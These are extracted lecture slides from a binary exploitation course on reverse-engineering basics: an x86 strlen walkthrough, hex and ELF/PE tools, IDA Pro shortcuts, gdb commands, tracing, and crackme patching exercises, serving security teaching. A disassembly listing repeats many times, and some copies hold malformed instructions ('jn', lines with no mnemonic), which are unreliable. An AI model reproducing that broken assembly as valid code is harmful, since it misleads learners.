    mov cl, BYTE PTR [ebx]
    cmp cl, 0
    jz  end
    inc eax
    inc ebx
    jmp LOOPY
end:
    ret
```

Basic x86

```
0x08048624: "YOLOSWAG\0"   ; 9 bytes of string data
    mov ebx, 0x08048624    ; char * ebx = "YOLOSWAG\0";
    mov eax, 0             ; set eax to 0
LOOPY:                     ; label, top of loop
    mov cl, BYTE PTR [ebx] ; char cl = *ebx;
    cmp cl, 0              ; is cl 0? (eg "\0")
    jz  end                ; if cl was 0, go to end
    inc eax                ; eax++; (counter for length)
    inc ebx                ; ebx++; ([ebx] = "Y", "O"... "\0")
    jmp LOOPY              ; go to LOOPY
end:                       ; label, end of loop/function
    ret                    ; return (len of str in eax)
```

Human Decompiler - x86 → C

```
0x08048624: "YOLOSWAG\0"
    mov ebx, 0x08048624
    mov eax, 0
LOOPY:
    mov cl, BYTE PTR [ebx]
    cmp cl, 0
    jz  end
    inc eax
    inc ebx
    jmp LOOPY
end:
    ret
```

```c
...
char * word = "YOLOSWAG";
int len = 0;

while (*word != 0)
{
    len++;
    word++;
}

return len;
```

Additional Material

- Related Readings:
  - Hacking: The Art of Exploitation
    - Chapter 0x200: Programming - C programming and GDB
  - Practical Reverse Engineering (Dang et al)
    - Chapter 1 (x86)

- Get familiar with the linux command line if you aren't already
  - http://overthewire.org/wargames/bandit/

Tools and Basic Reverse Engineering

Modern Binary Exploitation

CSCI 4968 – Spring 2015

Jeremy Blackthorne

Lecture Overview

1. Introduction to Reverse Engineering
2. Tools!
3. Resources

"What you must learn is that these rules are no different than the rules of a computer system. Some of them can be bent, others can be broken."

Compiling

Source Code
int main()
{
printf("Hello world!");
}
Compile
Assembly
_main PROC
push ebp
mov ebp, esp
push OFFSET $SG2985
call DWORD PTR __imp__printf
add esp, 4
xor eax, eax
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
Assemble
Object File
68 00 30 40 00 FF 15 90
5D C3 B8 4D 5A 00 00 66
33 C0 EB 34 8B 0D 3C 00
50 45 00 00 75 EA B8 0B
40 00 75 DC 33 C0 83 B9
81 E8 00 40 00 0F 95 C0
15 7C 20 40 00 59 6A FF
34 20 40 00 A3 88 33 40
30 40 00 89 01 8B 0D 38
89 01 E8 27 05 00 00 E8
40 00 00 75 0C 68 E4 12
59 E8 48 05 00 00 83 3D
FF FF 15 44 20 40 00 59
E8 D4 04 00 00 A1 58 30
00 FF 35 54 30 40 00 A3
Link
Binary File
68 00 30 40 00 FF 15 90
5D C3 B8 4D 5A 00 00 66
33 C0 EB 34 8B 0D 3C 00
50 45 00 00 75 EA B8 0B
40 00 75 DC 33 C0 83 B9
81 E8 00 40 00 0F 95 C0
15 7C 20 40 00 59 6A FF
34 20 40 00 A3 88 33 40
30 40 00 89 01 8B 0D 38
89 01 E8 27 05 00 00 E8
40 00 00 75 0C 68 E4 12
00 68 B4 20 40 00 68 A4
59 59 85 C0 74 17 C7 45
00 00 E9 DE 00 00 00 89
33 40 00 75 1B 68 A0 20
77 04 00 00 59 59 C7 05
Libraries
00 68 B4 20 40 00 68 A4
59 59 85 C0 74 17 C7 45
00 00 E9 DE 00 00 00 89
33 40 00 75 1B 68 A0 20
77 04 00 00 59 59 C7 05

Loading

Source Code
int main()
{
printf("Hello world!");
}
Compile
Assembly
_main PROC
push ebp
mov ebp, esp
push OFFSET $SG2985
call DWORD PTR __imp__printf
add esp, 4
xor eax, eax
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END
Assemble
Object File
68 00 30 40 00 FF 15 90
5D C3 B8 4D 5A 00 00 66
33 C0 EB 34 8B 0D 3C 00
50 45 00 00 75 EA B8 0B
40 00 75 DC 33 C0 83 B9
81 E8 00 40 00 0F 95 C0
15 7C 20 40 00 59 6A FF
34 20 40 00 A3 88 33 40
30 40 00 89 01 8B 0D 38
89 01 E8 27 05 00 00 E8
40 00 00 75 0C 68 E4 12
59 E8 48 05 00 00 83 3D
FF FF 15 44 20 40 00 59
E8 D4 04 00 00 A1 58 30
00 FF 35 54 30 40 00 A3
Link
Binary File
68 00 30 40 00 FF 15 90
5D C3 B8 4D 5A 00 00 66
33 C0 EB 34 8B 0D 3C 00
50 45 00 00 75 EA B8 0B
40 00 75 DC 33 C0 83 B9
81 E8 00 40 00 0F 95 C0
15 7C 20 40 00 59 6A FF
34 20 40 00 A3 88 33 40
30 40 00 89 01 8B 0D 38
89 01 E8 27 05 00 00 E8
40 00 00 75 0C 68 E4 12
00 68 B4 20 40 00 68 A4
59 59 85 C0 74 17 C7 45
00 00 E9 DE 00 00 00 89
33 40 00 75 1B 68 A0 20
77 04 00 00 59 59 C7 05
Load
Process
Libraries
00 68 B4 20 40 00 68 A4
59 59 85 C0 74 17 C7 45
00 00 E9 DE 00 00 00 89
33 40 00 75 1B 68 A0 20
77 04 00 00 59 59 C7 05

Running

RE Domain

RE Domain

Static

RE Domain

Static

Dynamic

RE Domain

Static

Lecture Overview

1. Introduction to Reverse Engineering
2. Tools!
3. Resources

Tool Color Coding

- Linux Tool
  - Command
- Windows Tool
  - ToolName.exe
- Associated Challenges:
  - ChallengeName

Hex Editor / Viewers

- Hex Editors / Viewers
  - wxHexEditor (GUI)
  - xxd
    - "-i" option is C include style
- Challenge:
  - crackme0x00a

ASCII Readable Hex

- strings
  - Displays ACII strings > 4 characters long
- Challenge:
  - crackme0x00a
  - crackme0x00b

ASCII Readable Hex

- strings
  - Displays ACII strings > 4 characters long
- Challenge:
  - crackme0x00a
  - crackme0x00b
    - strings –e ? crackme0x00b

File Formats on Disk

- Linux:
  - ELF-Walkthrough.png
  - readelf

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

File Formats on Disk

- Linux:
  - ELF-Walkthrough.png
  - readelf
- Windows:
  - PE-Layout.jpg
  - Peview.exe

File Formats on Disk

- Linux:
  - ELF-Walkthrough.png
  - readelf
- Windows:
  - PE-Layout.jpg
  - Peview.exe
- For unknown files / binaries
  - file

Hashing

- Do we have the same file?
  - md5sum
- Upload hash to virustotal.com
- Google search hash

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Hashing

- Do we have the same file?
  - md5sum
- Upload hash to virustotal.com
- Google search hash
- Fuzzy hashing:
  - ssdeep -b original.elf >hash.txt
  - ssdeep -bm hash.txt modified.elf

Command Line Disassembly

- crackme0x01

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jn      short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Command Line Disassembly

- crackme0x01
- objdump –d

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jn      short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Command Line Disassembly

- crackme0x01
- objdump –d
- Convert hex to decimal
  - echo $((0xDEADBEEF))

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jn      short loc_313066
                eax, [ebp+var_70]
                eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Patching Binaries

- It’s your binary, you can patch it if you want to
- objdump –d crackme0x00a | grep –A 30 ‘<main>’
- wxHexEditor-->Edit-->Find

External Diffing

- Original + modified = HUGE advantage
- wxHexEditor-->Tools-->compare files

Disassembly

- objdump –d
- IDA Pro.exe

- Challenges:
  - crackme0x01

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Disassembly

- objdump –d
- IDA Pro.exe

- Challenges:
  - crackme0x01
  - crackme0x02

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

IDA Pro

- IDA Pro.exe
- crackme0x04

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

IDA Basics

- Change between basic and graphic mode (space bar)
- Rename variables: (n)
- Comment
  - Side: (:), (;)
  - Above/below: (ins)
- Convert const formats: (right-click)
- Cross-reference: (x)
- Change to array: (a)
- IDA->Windows->Reset desktop
- IDA->Options->General->auto comment
- IDA->Options->General->opcode bytes 8

The Stack

```
int foo(int a, int b, int c)
{
    int x;
    int y;
    int z;

    x=y=z=0;
    z=x+y+a+b+c;
    return z;


}
int main(int argc, char **argv) {


        foo(1,2,3);
}
```

EIP

Foo (a , b, c);

EBP

The animations on this slide will only work in the .pptx of this lecture

Stack

```
int foo(int a, int b, int c)
{
    int x;
    int y;
    int z;

    x=y=z=0;
    z=x+y+a+b+c;
    return z;


}
int main(int argc, char **argv) {


        foo(1,2,3);
}
```

Lecture Overview

1. Introduction to Reverse Engineering
2. Tools!
3. Resources

IDA Pro

- IDA_Pro_Shortcuts.pdf
- The book on IDA
- IDA Syntax Highlighting:
  - http://practicalmalwareanalysis.com/2012/03/25/decorating-your-disassembly/

Additional Resources

- Corkami.com – diagrams of file structures and other interesting trivia
- Crackmes.de – “Reverser’s Playground”
- Subreddits
  - reddit.com/r/reverseengineering
  - reddit.com/r/netsec
  - reddit.com/r/uic
- http://www.bottomupcs.com - Systems background

Tools and Basic Reverse Engineering – Part 2

Modern Binary Exploitation

CSCI 4968 – Spring 2015

Jeremy Blackthorne

Lecture Overview

1. Review of Last Lecture
2. Introduction to Dynamic Analysis
3. Tools!
4. Resources

Review

Reversing Concepts:

- Static vs dynamic
- Diffing
- patching

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Review

Tools:

- file
- md5sum
- ssdeep
- strings
- readelf
- objdump
- IDA Pro.exe

Review

IDA Pro:

- Rename variables
- Insert comments
- Recognize structures
- Cross reference
- Stack usage in assembly

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Lecture Overview

1. Review of Last Lecture
2. Introduction to Dynamic Analysis
3. Tools!
4. Resources

RE Domain

Static

Dynamic

Slide Colors

- Linux Tool
  - Command
- Windows Tool
  - ToolName.exe
- Associated Challenges:
  - ChallengeName

Debugger – IDA Pro

- crackme0x04_win.exe
- IDA Pro.exe

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

RE Domain

Libraries

Code

Registers

Other Memory

Stack

Stack

```
int foo(int a, int b, int c)
{
    int x;
    int y;
    int z;

    x=y=z=0;
    z=x+y+a+b+c;
    return z;


}
int main(int argc, char **argv) {


        foo(1,2,3);
}
```

Lecture Overview

1. Review of Last Lecture
2. Introduction to Dynamic Analysis
3. Tools!
4. Resources

Debugger – Evan's Debugger

- crackme0x00a.exe
- edb
  - edb->options->Preferences->Appearance

ELF Memory Layout

Virtual Memory Layout

Physical Memory Layout

Physical Memory Layout

Debugger – GNU Debugger

- crackme0x00a
- gdb

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                lea     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

GNU Debugger - Basics

- crackme0x00a
- gdb
  - disassemble main (disas main)
  - set disassembly-flavor intel
  - break main (b main)
  - run
  - stepi (s), step into
  - nexti (n), step over

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

GNU Debugger – Examine Memory

- gdb
  - Examine memory: x/NFU address
  - N = number
  - F = format
  - U = unit
- Examples
  - x/10xb 0xdeadbeef, examine 10 bytes in hex
  - x/xw 0xdeadbeef, examine 1 word in hex
  - x/s 0xdeadbeef, examine null terminated string

GNU Debugger - python

- gdb
  - python print ‘A’ *10

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

GNU Debugger – Init File

- mv special ~/.gdbinit
- gdb
  - help user
  - hexdump

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Tracing

- ltrace, library calls
- strace, system calls

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Lecture Overview

1. Review of Last Lecture
2. Introduction to Dynamic Analysis
3. Tools!
4. Resources

Additional Resources

- Gdb customizations
  - http://reverse.put.as/gdbinit/
  - https://github.com/dholm/voidwalker
  - http://stackoverflow.com/questions/209534/prettify-my-gdb
  - https://github.com/longld/peda
- Ring security
  - http://duartes.org/gustavo/blog/post/cpu-rings-privilege-and-protection/
